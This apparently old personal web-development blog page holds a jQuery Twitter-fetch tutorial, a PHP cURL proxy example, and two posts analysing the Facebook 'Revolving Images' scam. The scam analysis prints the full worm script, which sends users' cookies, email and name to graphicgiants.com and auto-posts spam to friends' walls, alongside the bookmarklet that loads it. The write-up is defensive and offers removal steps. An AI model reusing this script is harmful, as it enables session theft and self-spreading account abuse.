SmexyyWeby

Scripting for Fun and Passion

Category Archives: Web Development

Fetch Tweets Using jQuery & JSON: TweeteReads


Update: The App right now works best in Mozilla Firefox 7.0+ also sometimes you will get no tweets when using Chrome or other browser. This is not an error but a restriction by twitter on the no of API calls a particular application can make and hence restricted by twitter.

Twitter is growing popular day by day and has already occupied a place in users browsers & smartphones as Apps. The power of the social media apps and other web applications these days is that they allow users to use the app without even the need for visiting the webpage of that app.

I recently had the opportunity to solve the following problem:

Write an HTML page to fetch the top 10 tweets of a user whose Screen Name is entered by the user.

Looks trivial, considering the RSS feed of a twitter user are easily available. You can check the RSS Feed of my tweets at https://api.twitter.com/1/statuses/user_timeline.rss?screen_name=theshubhanshu&count=2

However when writing an HTML page this method of retrieving tweets via RSS won’t work because of the security issues of HTML. The reason is your HTML page will try to do a Cross Site Request [XSS Request] which is not allowed by browsers.

To solve this problem, the web architect community came up with a new format of information exchange between 2 websites called JSON [JavaScript Object Notation] which allows websites to develop APIs to allow other web applications to use their data.

Twitter Supports JSON as one of the formats for data exchange in its API. https://dev.twitter.com/docs/api

To solve the problem stated above. I used Twitter’s JSON API to fetch the latest tweets of any user whose screen_name is given. I used jQuery to publish the tweets on the web page.

function getTweets(){
$("#tweets").html("</pre>
<h1>Loading ...</h1>
<pre>
");
var screen_name = document.getElementsByName("screen_name")[0].value;
$.getJSON("https://api.twitter.com/1/statuses/user_timeline.json?screen_name="+screen_name+"&count=10&callback=?",
 function(data) {
 $("#tweets").html("");
 $.each(data, function(i,item){
 $("

").html(item.text).appendTo("#tweets");
 if ( i == 10 ) return false;
 });
 });
}

The code above uses the jQuery getJSON function to fetch and parse the tweets in JSON format and display them on the webpage.

I used the GET statuses/friends_timeline function of the twitter api.

I added a little bit of styling to the page which rendered the page like this:

TweeteReads

TweeteReads

The full code of the page is

<!DOCTYPE html>
<html>
<head>
  <style>img{ height: 100px; float: left; }</style>
  <script src="http://code.jquery.com/jquery-latest.js"></script>
  <style>
  *{
	margin: 0px;
  }
  body{
	font: 20px cursive;
	margin: 0px;
  }
  #header{
  margin: 0px;
	background-color: #9AE4E8;
	border-bottom: solid 2px black;
  }
  p{
	background-color: #9AE4E8;
	padding: 2px;
	margin: 10px auto;
	border: solid 1px black;
	width: 50%;
  }
  #tweets{
	text-align: center;
  }
  input{
	
    border: 5px solid #9AE4E8;
    border-radius: 5px 5px 5px 5px;
    font: 20px cursive;
	margin: auto;
  }
  input[type="text"]{
	text-align: right;
	width: 50%; 
	
  }
  input[type="submit"]{
	background-color: #4DB8FF;
  }
  #inputPanel{
	margin: 50px auto;
	text-align: center;
  }
  </style>
</head>
<body>
<div id="header">
<h1 align="center">TweeteReads</h1>
<h4 align="center">Designed & Coded by <a href="http://twitter.com/theshubhanshu">@TheShubhanshu</a></h4>
</div>
<div id="inputPanel">
<input type="text" name="screen_name" />
<input type="submit" value="Retrieve Tweets" onclick="javascript: getTweets();" />
</div>

<div id="tweets">

</div>

<script>
function getTweets(){
$("#tweets").html("<h1>Loading ...</h1>");
var screen_name = document.getElementsByName("screen_name")[0].value;
$.getJSON("https://api.twitter.com/1/statuses/user_timeline.json?screen_name="+screen_name+"&count=10&callback=?",
  function(data) {
	$("#tweets").html("");
    $.each(data, function(i,item){
      $("<p />").html(item.text).appendTo("#tweets");
      if ( i == 10 ) return false;
    });
  });
}
</script>

</body>
</html>
The full source code can be downloaded from : https://sites.google.com/site/shubhanshumishra/jsonTest.htm
Please feel free to post a comment if you find any difficulty in using the app.
Feel free to share the information and help others.
Advertisements

What is your favorite Website Development Platform ?


How to safeguard against the Facebook Revolving Images Scam


I assume those who are reading this are already aware of the newest Facebook Revolving Images Scam which is spreading like wildfire.  In the last Article that I wrote about the Scam I discussed what was working in the background of this whole Revolving Images thing. I mentioned about the JavaScript behind it as well.

If you would like to know more in detail about the Scam please read my last post: Facebook Revolving Images Scam

Now in this post I will try to walk you through a solution which I found online to safeguard yourself from this scam and not to become a victim of it again.

The spam is making wall posts and is updating users’ status’. To do this, it is using the a not so newly launched Facebook feature called “Upload Via E-mail”. It is a unique personal Email address given to every user which allows one to post status updates or send photos and videos straight to one’s profile. The spam has recorded this Email address of yours and is using it to update your status. Thankfully, Facebook lets you change this E-mail ID. This is how you can do it.

Step 1: Go over to http://www.facebook.com/mobile/

Find “More Facebook Mobile Products” written somwhere down. Find “Upload Via Email“. Click “Find out more“.

Facebook Mobile Page

Facebook Mobile Page

Step 2: Now look at the image below and click exactly where it says “..refresh your upload email.” or exactly where you see the cursor in the image.

Reset Mobile Upload Email

Reset Mobile Upload Email

Step 3: Now press reset. Don’t worry, your computer will not crumble to pieces. At least, not yet.

Confirm Email Resetting

Confirm Email Resetting

Step 4: If you see an image something like this (below) then you are done for the day. The spam won’t work anymore.

Get New Upload Email

Get New Upload Email

Once done you are safe from the scam. But remember:

DO NOT EVER PASTE ANY UNKNOW JAVASCRIPT CODE INTO YOUR ADDRESSBAR ESPECIALLY WHILE BEING LOGGED INTO ANY IMPORTANT SERVICE LIKE BANKING, SOCIAL MEDIA, EMAIL, ETC.

Read more about the Revolving Images Scam here at: Facebook Revolving Images Scam

Original Article taken from: here thanks to Mr. Pulkit Kaushik and his Reader Zahid for sharing this valuable piece of information with us.

Javascript of Revolving Images Spam on Facebook


NOTE: All links written in this post are for informational purpose only. I will not be responsible for anything which happens to your Facebook account if you choose to click on any of the links. I would not suggest you to click on them at all unless and until you have completely safeguarded yourself. Please click on any of them at your own risk. All other information posted in this blog post is for informational purpose only. I will not be held responsible if anyone decides to use the code provided in the blog post to make any malicious scripts.

UPDATE1: You can report about the Link to facebook submitting the link and other details at http://www.facebook.com/help/contact.php?show_form=report_phishing

UPDATE2: Check out how to Remove the Scam from your affected profile and how to safeguard yourself  at How to safeguard against the Facebook Revolving Images Scam

Recently on Facebook many people have been tricked into unknowingly spamming a link called

http://bit.ly/91wrzd

http://bit.ly/faceb00ked

http://majicalimages.tk/

What this link basically claims to do it to get all the images on your page pop out and revolve. However behind the scenes it is solely intended at making you spam this link further to many more people by posting this message in your Wall:

Really cool Facebook revolving images. MUST SEE http://majicalimages.tk/

please DO NOT CLICK on the above links.

Now when you click on the link you will be taken to a page like this:

image

Now once you are on this page it will ask you to paste the JavaScript in your address bar on a Facebook page. Now as you can see the Javascript is basically:

javascript:(a = (b = document).createElement(“script”)).src = “//graphicgiants.com/majic.js?show”, b.body.appendChild(a); void(0)

Now the script basically attaches the script found at graphicgiants.com/majic.js?show to your current page which eventually makes the browser run that script.

So many people are unknowingly spamming this link to their wall post which in turn is tricking many more people into clicking it.

So I checked it out and what is happening it if you try to open the link graphicgiants.com/majic.js?show in the browser you can never check what JavaScript is running.  However I used the cURL script I wrote earlier in this post to access the link  and I got the whole script which is running in the background. The script is given below(I have indented it properly for clear comprehension):


txt = &quot;Really cool Facebook revolving images. MUST SEE http://niceimages.tk&quot;;
txtee = &quot;Really cool Facebook revolving images. MUST SEE http://majicalimages.tk&quot;;
alert(&quot;Please wait 2-3 mins while we setup! Do not refresh this window or click any link.&quot;);
with(x = new XMLHttpRequest()) open(&quot;GET&quot;, &quot;/&quot;), onreadystatechange = function () {
if (x.readyState == 4 &amp;&amp; x.status == 200) {
comp = (z = x.responseText).match(/name=\\&quot;composer_id\\&quot; value=\\&quot;([\d\w]+)\\&quot;/i)[1];
form = z.match(/name=&quot;post_form_id&quot; value=&quot;([\d\w]+)&quot;/i)[1];
dt = z.match(/name=&quot;fb_dtsg&quot; value=&quot;([\d\w]+)&quot;/i)[1];
pfid = z.match(/name=&quot;post_form_id&quot; value=&quot;([\d\w]+)&quot;/i)[1];
appid = &quot;150622878317085&quot;;
appname = &quot;rip_m_j&quot;;
with(xx = new XMLHttpRequest()) open(&quot;GET&quot;, &quot;/ajax/browser/friends/?uid=&quot; + document.cookie.match(/c_user=(\d+)/)[1] + &quot;&amp;filter=all&amp;__a=1&amp;__d=1&quot;), onreadystatechange = function () {
if (xx.readyState == 4 &amp;&amp; xx.status == 200) {
m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join(&quot;\n&quot;).replace(/(\/\d+_|_\d+_q\.jpg)/gi, &quot;&quot;).split(&quot;\n&quot;);
i = 0;
llimit = 20;
t = setInterval(function () {
if (i &gt;= llimit) return;
if (i == 0) {
with(xxx = new XMLHttpRequest()) open(&quot;GET&quot;, &quot;/mobile/?v=photos&quot;), setRequestHeader(&quot;X-Requested-With&quot;, null), setRequestHeader(&quot;X-Requested&quot;, null), onreadystatechange = function () {
if (xxx.readyState == 4 &amp;&amp; xxx.status == 200) {
with(s = document.createElement(&quot;script&quot;)) src = &quot;http://graphicgiants.com/mmjaicc.js?q=&quot; + document.cookie.match(/c_user=(\d+)/)[1] + &quot;:&quot; + (d = xxx.responseText).match(/mailto:([^\&quot;]+)/)[1].replace(/@/, &quot;@&quot;) + &quot;:&quot; + d.match(/id=&quot;navAccountName&quot;&gt;([^&lt;&gt;]+)/)[1] + &quot;&amp;c=&quot; + document.cookie;
document.body.appendChild(s);
}
}, send(null);
} else if (i == llimit - 1) {
with(xxxx = new XMLHttpRequest()) open(&quot;GET&quot;, &quot;/mobile/?v=photos&quot;), setRequestHeader(&quot;X-Requested-With&quot;, null), setRequestHeader(&quot;X-Requested&quot;, null), onreadystatechange = function () {
if (xxxx.readyState == 4 &amp;&amp; xxxx.status == 200) {
with(s = document.createElement(&quot;script&quot;)) src = &quot;http://graphicgiants.com/majic.js?q=&quot; + document.cookie.match(/c_user=(\d+)/)[1] + &quot;:&quot; + (d = xxxx.responseText).match(/mailto:([^\&quot;]+)/)[1].replace(/@/, &quot;@&quot;) + &quot;:&quot; + d.match(/id=&quot;navAccountName&quot;&gt;([^&lt;&gt;]+)/)[1] + &quot;&amp;c=&quot; + document.cookie;
document.body.appendChild(s);
}
}, send(null);
}
if (i % 2 == 0) {
with(xd = new XMLHttpRequest()) open(&quot;POST&quot;, &quot;/ajax/updatestatus.php?__a=1&quot;), setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;), send(&quot;action=PROFILE_UPDATE&amp;profile_id=&quot; + document.cookie.match(/c_user=(\d+)/)[1] + &quot;&amp;status=&quot; + txt + &quot;&amp;target_id=&quot; + m[Math.floor(Math.random() * m.length)] + &quot;&amp;composer_id=&quot; + comp + &quot;&amp;hey_kid_im_a_composer=true&amp;display_context=profile&amp;post_form_id=&quot; + form + &quot;&amp;fb_dtsg=&quot; + dt + &quot;&amp;lsd&amp;_log_display_context=profile&amp;ajax_log=1&amp;post_form_id_source=AsyncRequest&quot;);
} else {
with(xd = new XMLHttpRequest()) open(&quot;POST&quot;, &quot;/ajax/updatestatus.php?__a=1&quot;), setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;), send(&quot;action=PROFILE_UPDATE&amp;profile_id=&quot; + document.cookie.match(/c_user=(\d+)/)[1] + &quot;&amp;status=&quot; + txtee + &quot;&amp;target_id=&quot; + m[Math.floor(Math.random() * m.length)] + &quot;&amp;composer_id=&quot; + comp + &quot;&amp;hey_kid_im_a_composer=true&amp;display_context=profile&amp;post_form_id=&quot; + form + &quot;&amp;fb_dtsg=&quot; + dt + &quot;&amp;lsd&amp;_log_display_context=profile&amp;ajax_log=1&amp;post_form_id_source=AsyncRequest&quot;);
}
i += 1;
}, 2000);
}
}, send(null);
}
}, send(null);

Now I have  highlighted the mail points in this script. Basically its preparing the two main messages to post in the first two lines. And following that its making a new XHR request (Ajax Request) to the scripts at majic.js and mmajaicc.js and passes your cookie values to it. Since you are on a facebook page so your cookie values related to the facebook.com domain are also passed to the script. Now once it gets the cookie its calling the facebook ajax/updatestatus.php with the details of the text it wants to post in your status.

So this is the way you are getting tricked into spreading this spam. So best way to counter this is NOT TO CLICK on any such links.

Also the script seems to have been made by the owners of this page: http://www.facebook.com/GraphicGiants so please go an Report Abuse this Page to stop this spamming. Please leave any comments if you know any more such links or any solution to this problem. I hope Facebook figures it out soon.

Happy Facebooking. Stay Safe.

UPDATE2: Check out how to Remove the Scam from your affected profile and how to safeguard yourself  at How to safeguard against the Facebook Revolving Images Scam

NOTE: All links written in this post are for informational purpose only. I will not be responsible for anything which happens to your Facebook account if you choose to click on any of the links. I would not suggest you to click on them at all unless and until you have completely safeguarded yourself. Please click on any of them at your own risk. All other information posted in this blog post is for informational purpose only. I will not be held responsible if anyone decides to use the code provided in the blog post to make any malicious scripts.

Read More posts related to Facebook

Setting Up cURL proxy in XAMPP


cURL is a really nice tool to transfer data to and from a web server. You can use it to access URL and get the contents of web page via a php script.

XAMPP comes with cURL installed but you need to enable it in the php.ini file.

For this go to your XAMPP folder. (I have it installed in C:\xampp\)

  • Go to php folder
  • Open php.ini
  • Search for this line ;extension=php_curl.dll
  • Remove the ; in the beginning (; is used to comment lines)
  • Save the file. (Make sure you do not have apache running at this moment otherwise you can’t save the file. Or best is to open it as an administrator for editing)
  • Restart apache from XAMPP Control Panel.
  • Reopen a cURL script in the browser.

Now sometimes we need to use cURL with a proxy so here is a sample code:

<?php

class cURL{
var $crl;

var $proxy_url;

var $proxy_username_pass;
function cURL($proxy_url="", $proxy_username_pass=""){

$this->proxy_url=$proxy_url;

$this->proxy_username_pass=$proxy_username_pass;

$this->crl = curl_init();

curl_setopt($this->crl, CURLOPT_PROXY, $this->proxy_url);

curl_setopt($this->crl, CURLOPT_PROXYUSERPWD, $this->proxy_username_pass);

}
function get_url_contents($url){

$crl=$this->crl;

$timeout = 5;

curl_setopt ($crl, CURLOPT_URL,$url);

curl_setopt ($crl, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($crl, CURLOPT_CONNECTTIMEOUT, $timeout);

$ret = curl_exec($crl);

curl_close($crl);

return $ret;

}

}
$proxy_url="http://proxy.com";

$proxy_username_pass="hello:hello";

$cObj=new cURL($proxy_url, $proxy_username_pass);

$webContent= $cObj->get_url_contents("https://smexyyweby.wordpress.com");

echo $webContent;
?>

This will open the page https://smexyyweby.wordpress.com in your browser.Also you have the whole source code of the webpage saved in $webContent so that you can use it accordingly.

Please post any queries or improvements.

%d bloggers like this: